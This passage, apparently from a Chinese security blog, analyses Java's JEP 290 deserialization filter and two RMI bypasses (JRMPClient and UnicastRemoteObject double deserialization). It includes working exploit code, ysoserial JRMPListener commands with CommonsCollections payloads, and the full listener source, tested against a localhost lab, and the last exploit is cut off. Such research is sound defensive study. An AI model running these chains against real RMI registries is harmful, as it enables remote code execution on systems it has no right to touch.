JEP 290绕过:JRMPClient与二次反序列化分析

前言:

在之前的文章中介绍了 RMI 机制可能遭受反序列化漏洞攻击的几种情况,但那是在没有 JEP 290 机制的前提下进行的。JEP 290 是在 Java9 中新增的安全特性,为反序列化流程提供了检验和过滤机制,并且该特性向前移植到了 JDK 6/7/8 中。

所以这篇文章我们一起来学习一下JEP 290的原理以及绕过

参考文章:

JEP 290介绍

JEP 290 的核心过程就是序列化客户端通过实现 ObjectInputFilter 接口来创建一个过滤器,并调用 setObjectInputFilter 方法将它设置到 ObjectInputStream 中。这个过滤器会在反序列化过程中被调用,对即将反序列化的类进行检验和过滤,然后返回 ACCEPTED、REJECTED 或者 UNDECIDED 这几个状态

JEP 290 主要的特点如下:

  1. 提供灵活的机制,让开发者可以通过黑白名单限制要反序列化的类;
  2. 反序列化时可以设置指标来限制反序列化的深度和复杂度;
  3. 为 RMI 远程对象提供类验证机制;
  4. 过滤器不能修改或继承 ObjectInputStream 的现存子类;
  5. 定义一个可以通过 properties 或者文件来配置的全局过滤器。

适用范围:

  • Java™ SE Development Kit 8, Update 121 (JDK 8u121)
  • Java™ SE Development Kit 7, Update 131 (JDK 7u131)
  • Java™ SE Development Kit 6, Update 141 (JDK 6u141)

JEP290 具体内容:

  1. 限制的情况:

  2. 支持 3 种配置过滤器的方式

    • 自定义过滤器
    • 进程范围过滤器(也称为全局过滤器)
    • 用于 RMI 注册表和分布式垃圾收集 (DGC)使用的内置过滤器
  3. 自定义过滤器

    当反序列化要求与整个应用程序中的任何其他反序列化过程不同时,就会出现自定义过滤器的配置场景;可以通过实现ObjectInputFilter接口并覆盖checkInput(FilterInfo filterInfo)方法来创建自定义过滤器

JRMPClient 反杀

测试

测试版本:JDK1.8.0_121

导入cc3.2.1:

1
2
3
4
5
6
7
8
<dependencies>
    <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class UserServerEval {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[] {String.class, Class[].class},
                        new Object[] {"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class},
                        new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] {String.class},
                        new Object[] {"open -a Calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "Threezh1");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
        cons.setAccessible(true);
        InvocationHandler evalObject = (InvocationHandler) cons.newInstance(java.lang.annotation.Retention.class, outerMap);
        Remote proxyEvalObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class }, evalObject));
        Registry registry = LocateRegistry.createRegistry(3333);
        Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 3333);
        registry_remote.bind("HelloRegistry", proxyEvalObject);
        System.out.println("rmi start at 3333");
    }

}

服务端攻击注册中心这里用了 CC5 加动态代理(因为 bind 绑定的必须是 Remote,需要借助 proxy 动态代理)

启动服务端,利用bind攻击注册中心时,发现出现报错 filter status: REJECTED,这个地方就是JEP290 发挥了作用。

image-20260307212716987

bind 绑定的是 proxy 创建的恶意对象,注册中心反序列化的时候就会阻拦

分析报错原因

  • 查看 filter 的检测机制

    在ObjectInputStream.setInternalObjectInputFilter

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    private final void setInternalObjectInputFilter(ObjectInputFilter filter) {
        SecurityManager sm = System.getSecurityManager();
        if (sm != null) {
            sm.checkPermission(new SerializablePermission("serialFilter"));
        }
        // Allow replacement of the process-wide filter if not already set
        if (serialFilter != null &&
                serialFilter != ObjectInputFilter.Config.getSerialFilter()) {
            throw new IllegalStateException("filter can not be set more than once");
        }
        this.serialFilter = filter;
    }

    前面if就是 权限校验 以及 判断是否已经设置了过滤器

    最后将传入的 filter 赋给 this.serialFilter。在此之后的反序列化过程中,所有读取的类都会经过这个过滤器的 checkInput 校验。

  • 根据对应关系,直接看 RegistryImpl_Skel#dispatch 中的 case 0,对应着 bind 方法

    但是在 JDK 8u121 中不再需要通过 Skeleton 类进行硬编码派发,而是直接通过反射或生成的字节码在 RegistryImpl 内部处理。

    当你在代码中调用 LocateRegistry.createRegistry(1099) 时,JVM 默认创建的是一个不需要 Skeleton 的注册中心实体。请求进入服务端后,直接由 sun.rmi.registry.RegistryImpl.dispatch 方法处理,而不是 sun.rmi.registry.RegistryImpl_Skel.dispatch。

  • RegistryImpl 构造方法出现方法引用的简写:

    image-20260308184921860

    image-20260308185126557

    内部要是存在过滤器,转到checkInput

  • image-20260308185347150

    checkInput以接口的身份传到下面我们说的UnicastServerRef构造方法中

  • 首先到了RegistryImpl方法处,可以看到,实例化UnicastServerRef时第二个参数传入的是RegistryImpl::registryFilter。传入之后的值赋值给了this.Filter

    image-20260308140154387

  • 看一下上面提到的registryFilter

    image-20260308140407971

    这里的registryFilter默认为null,可以先不管这个判断,后面返回的内容相当于配置了一个白名单,当传入的类不属于白名单的内容时,则会返回REJECTED,否则就会返回ALLOWED。

    白名单:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    String.class
    Number.class
    Remote.class
    Proxy.class
    UnicastRef.class
    RMIClientSocketFactory.class
    RMIServerSocketFactory.class
    ActivationID.class
    UID.class

    而这里,我们的 sun.reflect.annotation.AnnotationInvocationHandler 类并不在这些白名单中,所以会被过滤

绕过复现

  • 思考了在 RMI 的流程当中,哪一步能够绕过 JEP290 的检测,最终是 JRMP 的这一步,能够绕过,从原理图来说的话应该是这样

    image-20260308142917702

  • 先用 ysoserial 开启 JRMP 3333 端口的监听

    1. 用ysoserial启动一个恶意的JRMPListener(CommonCollections1的链在1.8下用不了,所以这里用了CommonCollections5的)
    2. 启动注册中心
    3. 启动Client调用bind()操作
    4. 注册中心被反序列化攻击
    1
    java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "Calc"

    image-20260308144243949

  • 服务端监听1099

  • exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    package org.example;
    
    import sun.rmi.server.UnicastRef;
    import sun.rmi.transport.LiveRef;
    import sun.rmi.transport.tcp.TCPEndpoint;
    
    import java.lang.reflect.InvocationTargetException;
    import java.lang.reflect.Proxy;
    import java.rmi.AlreadyBoundException;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    import java.rmi.server.ObjID;
    import java.rmi.server.RemoteObjectInvocationHandler;
    import java.util.Random;
    
    public class BypassJEP290 {
        public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {
            Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 2222
            ObjID id = new ObjID(new Random().nextInt());
            TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); // JRMPListener's port is 3333
            UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
            RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
            Registry proxy = (Registry) Proxy.newProxyInstance(BypassJEP290.class.getClassLoader(), new Class[] {
                    Registry.class
            }, obj);
            reg.bind("Hello",proxy);
        }
    }

    image-20260308143834335

    这个 payload 的原理就是伪造了一个 UnicastRef 用于跟注册中心通信,我们从 bind() 方法开始分析一下这一整个流程。

绕过分析

  • image-20260308144335143

  • 我们通过 getRegistry 时获得的注册中心,其实就是一个封装了 UnicastServerRef 对象的对象

    image-20260308144434106

  • 当我们调用 bind 方法后,会通过 UnicastRef 对象中存储的信息与注册中心进行通信

    image-20260308144744882

    通过 ref 与注册中心通信,并将绑定的对象名称以及要绑定的远程对象发过去,注册中心在后续会对应进行反序列化

    具体的反序列化可以看之前写的反序列化基础

  • yso 中的 JRMPClient

    https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPListener.java

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202
    203
    204
    205
    206
    207
    208
    209
    210
    211
    212
    213
    214
    215
    216
    217
    218
    219
    220
    221
    222
    223
    224
    225
    226
    227
    228
    229
    230
    231
    232
    233
    234
    235
    236
    237
    238
    239
    240
    241
    242
    243
    244
    245
    246
    247
    248
    249
    250
    251
    252
    253
    254
    255
    256
    257
    258
    259
    260
    261
    262
    263
    264
    265
    266
    267
    268
    269
    270
    271
    272
    273
    274
    275
    276
    277
    278
    279
    280
    281
    282
    283
    284
    285
    286
    287
    288
    289
    290
    291
    292
    293
    294
    295
    296
    297
    298
    299
    300
    301
    302
    303
    304
    305
    306
    307
    308
    309
    310
    311
    312
    313
    314
    315
    316
    317
    package ysoserial.exploit;
    
    
    import java.io.BufferedInputStream;
    import java.io.BufferedOutputStream;
    import java.io.DataInputStream;
    import java.io.DataOutputStream;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.io.ObjectStreamClass;
    import java.io.OutputStream;
    import java.io.Serializable;
    import java.net.InetSocketAddress;
    import java.net.ServerSocket;
    import java.net.Socket;
    import java.net.SocketException;
    import java.net.URL;
    import java.rmi.MarshalException;
    import java.rmi.server.ObjID;
    import java.rmi.server.UID;
    import java.util.Arrays;
    
    import javax.management.BadAttributeValueExpException;
    import javax.net.ServerSocketFactory;
    
    import javassist.ClassClassPath;
    import javassist.ClassPool;
    import javassist.CtClass;
    import sun.rmi.transport.TransportConstants;
    import ysoserial.payloads.ObjectPayload.Utils;
    import ysoserial.payloads.util.Reflections;
    
    
    /**
     * Generic JRMP listener
     *
     * Opens up an JRMP listener that will deliver the specified payload to any
     * client connecting to it and making a call.
     *
     * @author mbechler
     *
     */
    @SuppressWarnings ( {
        "restriction"
    } )
    public class JRMPListener implements Runnable {
    
        private int port;
        private Object payloadObject;
        private ServerSocket ss;
        private Object waitLock = new Object();
        private boolean exit;
        private boolean hadConnection;
        private URL classpathUrl;
    
    
        public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException {
            this.port = port;
            this.payloadObject = payloadObject;
            this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
        }
    
        public JRMPListener (int port, String className, URL classpathUrl) throws IOException {
            this.port = port;
            this.payloadObject = makeDummyObject(className);
            this.classpathUrl = classpathUrl;
            this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
        }
    
    
        public boolean waitFor ( int i ) {
            try {
                if ( this.hadConnection ) {
                    return true;
                }
                System.err.println("Waiting for connection");
                synchronized ( this.waitLock ) {
                    this.waitLock.wait(i);
                }
                return this.hadConnection;
            }
            catch ( InterruptedException e ) {
                return false;
            }
        }
    
    
        /**
         *
         */
        public void close () {
            this.exit = true;
            try {
                this.ss.close();
            }
            catch ( IOException e ) {}
            synchronized ( this.waitLock ) {
                this.waitLock.notify();
            }
        }
    
    
        public static final void main ( final String[] args ) {
    
            if ( args.length < 3 ) {
                System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>");
                System.exit(-1);
                return;
            }
    
            final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);
    
            try {
                int port = Integer.parseInt(args[ 0 ]);
                System.err.println("* Opening JRMP listener on " + port);
                JRMPListener c = new JRMPListener(port, payloadObject);
                c.run();
            }
            catch ( Exception e ) {
                System.err.println("Listener error");
                e.printStackTrace(System.err);
            }
            Utils.releasePayload(args[1], payloadObject);
        }
    
    
        public void run () {
            try {
                Socket s = null;
                try {
                    while ( !this.exit && ( s = this.ss.accept() ) != null ) {
                        try {
                            s.setSoTimeout(5000);
                            InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
                            System.err.println("Have connection from " + remote);
    
                            InputStream is = s.getInputStream();
                            InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
    
                            // Read magic (or HTTP wrapper)
                            bufIn.mark(4);
                            DataInputStream in = new DataInputStream(bufIn);
                            int magic = in.readInt();
    
                            short version = in.readShort();
                            if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) {
                                s.close();
                                continue;
                            }
    
                            OutputStream sockOut = s.getOutputStream();
                            BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
                            DataOutputStream out = new DataOutputStream(bufOut);
    
                            byte protocol = in.readByte();
                            switch ( protocol ) {
                            case TransportConstants.StreamProtocol:
                                out.writeByte(TransportConstants.ProtocolAck);
                                if ( remote.getHostName() != null ) {
                                    out.writeUTF(remote.getHostName());
                                } else {
                                    out.writeUTF(remote.getAddress().toString());
                                }
                                out.writeInt(remote.getPort());
                                out.flush();
                                in.readUTF();
                                in.readInt();
                            case TransportConstants.SingleOpProtocol:
                                doMessage(s, in, out, this.payloadObject);
                                break;
                            default:
                            case TransportConstants.MultiplexProtocol:
                                System.err.println("Unsupported protocol");
                                s.close();
                                continue;
                            }
    
                            bufOut.flush();
                            out.flush();
                        }
                        catch ( InterruptedException e ) {
                            return;
                        }
                        catch ( Exception e ) {
                            e.printStackTrace(System.err);
                        }
                        finally {
                            System.err.println("Closing connection");
                            s.close();
                        }
    
                    }
    
                }
                finally {
                    if ( s != null ) {
                        s.close();
                    }
                    if ( this.ss != null ) {
                        this.ss.close();
                    }
                }
    
            }
            catch ( SocketException e ) {
                return;
            }
            catch ( Exception e ) {
                e.printStackTrace(System.err);
            }
        }
    
    
        private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
            System.err.println("Reading message...");
    
            int op = in.read();
    
            switch ( op ) {
            case TransportConstants.Call:
                // service incoming RMI call
                doCall(in, out, payload);
                break;
    
            case TransportConstants.Ping:
                // send ack for ping
                out.writeByte(TransportConstants.PingAck);
                break;
    
            case TransportConstants.DGCAck:
                UID u = UID.read(in);
                break;
    
            default:
                throw new IOException("unknown transport op " + op);
            }
    
            s.close();
        }
    
    
        private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
            ObjectInputStream ois = new ObjectInputStream(in) {
    
                @Override
                protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
                    if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
                        return ObjID[].class;
                    } else if ("java.rmi.server.ObjID".equals(desc.getName())) {
                        return ObjID.class;
                    } else if ( "java.rmi.server.UID".equals(desc.getName())) {
                        return UID.class;
                    }
                    throw new IOException("Not allowed to read object");
                }
            };
    
            ObjID read;
            try {
                read = ObjID.read(ois);
            }
            catch ( java.io.IOException e ) {
                throw new MarshalException("unable to read objID", e);
            }
    
    
            if ( read.hashCode() == 2 ) {
                ois.readInt(); // method
                ois.readLong(); // hash
                System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject()));
            }
    
            System.err.println("Sending return with payload for obj " + read);
    
            out.writeByte(TransportConstants.Return);// transport op
            ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
    
            oos.writeByte(TransportConstants.ExceptionalReturn);
            new UID().write(oos);
    
            BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
            Reflections.setFieldValue(ex, "val", payload);
            oos.writeObject(ex);
    
            oos.flush();
            out.flush();
    
            this.hadConnection = true;
            synchronized ( this.waitLock ) {
                this.waitLock.notifyAll();
            }
        }
    
        @SuppressWarnings({"deprecation"})
        protected static Object makeDummyObject (String className) {
            try {
                ClassLoader isolation = new ClassLoader() {};
                ClassPool cp = new ClassPool();
                cp.insertClassPath(new ClassClassPath(Dummy.class));
                CtClass clazz = cp.get(Dummy.class.getName());
                clazz.setName(className);
                return clazz.toClass(isolation).newInstance();
            }
            catch ( Exception e ) {
                e.printStackTrace();
                return new byte[0];
            }
        }
    
    
        public static class Dummy implements Serializable {
            private static final long serialVersionUID = 1L;
    
        }
    }

    主要在这个地方

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    //     构造“远程引用”(UnicastRef)
    ObjID id = new ObjID(new Random().nextInt()); // RMI registry
    TCPEndpoint te = new TCPEndpoint(host, port);// 这里的 host/port 是攻击者的 JRMPListener 地址
    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
    //     包装“调用处理器”(RemoteObjectInvocationHandler)
    RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);//RemoteObjectInvocationHandler   JDK 自带的,专门处理远程对象的调用。在 JEP 290 的白名单内。这意味着注册中心(Registry)会允许反序列化这个对象。
    //     生成“动态代理”(Proxy)
    Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
        Registry.class
    }, obj);//将这个处理器包装成一个 Registry 类型的代理对象。
    return proxy;

    总结:

    • 它利用了 白名单内的类(RemoteObjectInvocationHandler)作为跳板。
    • 它不直接提供 Payload,而是提供一个 “下载地址”(通过 UnicastRef 指向攻击者的端口)。
    • 它让受害者自己去取“毒药”回来吃,从而完美绕过了 JEP 290 对第一层反序列化的严格过滤。

    调用栈:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    readObject:455, RemoteObject (java.rmi.server)
    invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
    invoke:62, NativeMethodAccessorImpl (sun.reflect)
    invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
    invoke:498, Method (java.lang.reflect)
    invokeReadObject:1170, ObjectStreamClass (java.io)
    readSerialData:2178, ObjectInputStream (java.io)
    readOrdinaryObject:2069, ObjectInputStream (java.io)
    readObject0:1573, ObjectInputStream (java.io)
    defaultReadFields:2287, ObjectInputStream (java.io)
    readSerialData:2211, ObjectInputStream (java.io)
    readOrdinaryObject:2069, ObjectInputStream (java.io)
    readObject0:1573, ObjectInputStream (java.io)
    readObject:431, ObjectInputStream (java.io)     // 从此处开始,会遇到很多字节码不匹配的问题
    dispatch:92, RegistryImpl_Skel (sun.rmi.registry)
    oldDispatch:469, UnicastServerRef (sun.rmi.server)
    dispatch:301, UnicastServerRef (sun.rmi.server)
    run:200, Transport$1 (sun.rmi.transport)
    run:197, Transport$1 (sun.rmi.transport)
    doPrivileged:-1, AccessController (java.security)
    serviceCall:196, Transport (sun.rmi.transport)
    handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
    run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
    lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
    run:-1, 1330984495 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
    doPrivileged:-1, AccessController (java.security)
    run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
    runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
    run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
    run:748, Thread (java.lang)
  • 一路跟进到 sun.rmi.transport.LiveRef#read

    image-20260308155346266

    这里把 payload 里所传入的 LiveRef 解析到 var5 变量处,里面包含了 ip 与 端口 信息(JRMPListener 的端口)。这些信息将用于后面注册中心与 JRMP 端建立通信。

  • 跟进 saveRef() 方法,里面做了一个映射,其建立了一个 TCPEndpoint 到 ArrayList<LiveRef> 的映射关系。

    image-20260308160736175

  • 到这里 JRMP 的通信流程基本结束了,接着再回到 dispatch() 方法,在调用了 readObject 方法之后调用了 var2.releaseInputStream();

    image-20260308163148417

  • 跟进releaseInputStream() 方法,调用了 this.in.registerRefs() 方法

    image-20260308163313801

    判断了当前保存的 Ref 是否为空,再获取当前 Ref,这个 Ref 实际上就是创建的 JRMP 连接,再跟进 registerRefs() 方法

  • var2这里返回的是 DGCClient 对象,里边同样封装了我们的端口信息

    image-20260308163340028

  • 接着看到 registerRefs 方法中的 this.makeDirtyCall(var2, var3);,跟进一下

    image-20260308163540646

  • 里面主要是做了数据处理,将原本保存了 EndPoint 的 var1 —— HashSet 数组转换为 ObjID,同时,调用了 this.dgc.dirty() 方法

    image-20260308163700697

  • 在 dirty() 方法中调用 wirteObject() 方法后,会用 invoke() 将数据发出去。

    image-20260308163824210

    invoke() 方法实现的过程就是从 socket 连接中先读取了输入,然后直接反序列化,此时的反序列化并没有设置 filter(白名单),所以这里可以直接导致注册中心 rce,所以我们可以伪造一个 socket 连接并把我们恶意序列化的对象发过去,这也就是当时用 ysoserial 开启的 JRMP

修复

在 8u231 版本及以上的 DGCImpl_Stub#dirty 方法中多了一个 setObjectInputFilter 的过程,又会被 JEP290 check 到了

二次反序列化 (Unsafe 绕过)

JDK 8u231~8u240

在上面的 Bypass 中,UnicastRef 类用了一层包装,通过递归的形式触发反序列化;通过 DGCClient 向 JRMPListener 发起 JRMP 请求,而这条 Gadget 是直接利用一次反序列化发起 JRMP 请求。

利用链如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
客户端发送数据 --> 服务端反序列化(RegistryImpl_Skle#dispatch)
    UnicastRemoteObject#readObject -->
        UnicastRemoteObject#reexport -->
            UnicastRemoteObject#exportObject --> overload
                UnicastRemoteObject#exportObject -->
                    UnicastServerRef#exportObject --> ...
                            TCPTransport#listen -->
                                TcpEndpoint#newServerSocket -->
                                    RMIServerSocketFactory#createServerSocket --> Dynamic Proxy(RemoteObjectInvocationHandler)
                                        RemoteObjectInvocationHandler#invoke -->
                                            RemoteObjectInvocationHandler#invokeMethod -->
                                                UnicastRef#invoke --> (Remote var1, Method var2, Object[] var3, long var4)
                                                    StreamRemoteCall#executeCall --> 
                                                        ObjectInputSteam#readObject --> "pwn"

绕过分析

  • UnicastRemoteObject 作为反序列化的入口,看他的readObject

    image-20260308165637293

  • 进到reexport

    image-20260308165737843

    这里我们在 exp 中会设置 ssf,进入第二个分支,UnicastRemoteObject#exportObject

  • 这里把 port、csf、ssf 作为构造方法参数传入 UnicastServerRef2

    image-20260308165828636

    看构造函数

    image-20260308165900100

    其实它里面是包装了一层 LiveRef

    1
    2
    3
    public UnicastServerRef2(int var1, RMIClientSocketFactory var2, RMIServerSocketFactory var3) {
        super(new LiveRef(var1, var2, var3));
    }
  • 再来到面返回的return sref.exportObject(obj, null, false);

    image-20260308170113513

    这部分在”Registry 创建”已经有过分析了,在这里会创建 RegistryImpl_Stub、RegistryImpl_Skel 对象,最终调用到TCPTransport#listen 方法创建监听栈

  • 直接跟入TCPTransport#listen

    image-20260308170319522

    var1 是一个 TcpEndpoint 对象

  • 跟入TcpEndpoint#newServerSocket 方法

    image-20260308174734154

    在这里调用了之前提到的 ssf 的方法,这里有一层动态代理,通过 RemoteObjectInvocationHandler 代理 RMIServerSocketFactory 接口,然后把生成的代理对象设置为该 ssf

  • 所以我们来到了RemoteObjectInvocationHandler.invoke

    前面多个 if 都不满足,直接到return

    image-20260308175207660

  • 进invokeRemoteMethod

    image-20260308175318704

    就出现了我们上面提到的UnicastRef.invoke

    img

    无论 RMI Registry、RMI Client、RMI Server、DGCClient 的任意两者通信,它们发起 JRMP 请求都利用了 UnicastRef 类

    第二点:服务端反序列化参数之后,会向客户端传值,如果服务端反序列化成功,会发送byte值1给客户端,如果发生一些错误,就会发送byte值2给客户端。

  • 在 UnicastRef.invoke 方法中让 Registry 向 JRMPListener 发起了 JRMP 请求,进行数据交互

    image-20260308175701718

  • 来到了 StreamRemoteCall.executeCall:查看case对于byte传值的具体逻辑

    image-20260308175820856

    发现在case 2的时候会触发反序列化

    再次反序列化JRMPListener 发来的 payload,而这个地方再反序列化的时候没有设置白名单过滤器

绕过复现

问题:
调用RegistryImpl_Stub.bind的时候,进行writeObject的时候,出现了问题

image-20260308191957511

进行writeObject的时候,存在保护机制:

writeObject 的内部逻辑:当 writeObject 被调用时,它会触发 ObjectOutputStream 的标准流程。在真正把对象变成字节码之前,它会检查是否需要“替换”对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
private void writeObject0(Object obj, boolean unshared)
        throws IOException
    {
        boolean oldMode = bout.setBlockDataMode(false);
        depth++;
        try {
            // handle previously written and non-replaceable objects
            int h;
            if ((obj = subs.lookup(obj)) == null) {
                writeNull();
                return;
            } else if (!unshared && (h = handles.lookup(obj)) != -1) {
                writeHandle(h);
                return;
            } else if (obj instanceof Class) {
                writeClass((Class) obj, unshared);
                return;
            } else if (obj instanceof ObjectStreamClass) {
                writeClassDesc((ObjectStreamClass) obj, unshared);
                return;
            }

            // check for replacement object
            Object orig = obj;
            Class<?> cl = obj.getClass();
            ObjectStreamClass desc;
            for (;;) {
                // REMIND: skip this check for strings/arrays?
                Class<?> repCl;
                desc = ObjectStreamClass.lookup(cl, true);
                if (!desc.hasWriteReplaceMethod() ||
                    (obj = desc.invokeWriteReplace(obj)) == null ||
                    (repCl = obj.getClass()) == cl)
                {
                    break;
                }
                cl = repCl;
            }
            if (enableReplace) {
                Object rep = replaceObject(obj);
                if (rep != obj && rep != null) {
                    cl = rep.getClass();
                    desc = ObjectStreamClass.lookup(cl, true);
                }
                obj = rep;
            }

image-20260308192540129

这个地方enableReplace默认为true,为true则到replaceObject

接下来就走到了MarshalOutputStream.replaceObject:

1
2
3
4
5
6
7
8
9
10
protected final Object replaceObject(Object var1) throws IOException {
        if (var1 instanceof Remote && !(var1 instanceof RemoteStub)) {
            Target var2 = ObjectTable.getTarget((Remote)var1);
            if (var2 != null) {
                return var2.getStub();
            }
        }

        return var1;
    }

检测我们要序列化的obj,是否实现Remote/RemoteStub,由于UnicastRemoteObject实现了Remote,没有实现RemoteStub,于是会进入判断,就会替换我们的obj,以至于反序列化的时候不能还原我们构造的类。

所以,需要把enableReplace改为false。这里可以自己实现重写RegistryImpl_Stub,将bind方法进行修改,在序列化之前,通过反射,把enableReplace值进行修改。

exp

  • 1
    java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections6 'calc'

    image-20260308180824056

  • 1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    public class exp {
        public static void main(String[] args) throws Exception {
            UnicastRemoteObject payload = getPayload();
            Registry registry = LocateRegistry.getRegistry(1099);
            bindReflection("pwn", payload, registry);
        }
    
        static UnicastRemoteObject getPayload() throws Exception {
            ObjID id = new ObjID(new Random().nextInt());
            TCPEndpoint te = new TCPEndpoint("localhost", 9999);
            UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
    
            System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");
            RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
            RMIServerSocketFactory factory = (RMIServerSocketFactory) Proxy.newProxyInstance(
                    handler.getClass().getClassLoader(),
                    new Class[]{RMIServerSocketFactory.class, Remote.class},
                    handler
            );
    
            Constructor<UnicastRemoteObject> constructor = UnicastRemoteObject.class.getDeclaredConstructor();
            constructor.setAccessible(true);
            UnicastRemoteObject unicastRemoteObject = constructor.newInstance();
    
            Field field_ssf = UnicastRemoteObject.class.getDeclaredField("ssf");
            field_ssf.setAccessible(true);
            field_ssf.set(unicastRemoteObject, factory);
    
            return unicastRemoteObject;
        }
    
        //对于bind问题的解决
        static void bindReflection(String name, Object obj, Registry registry) throws Exception {
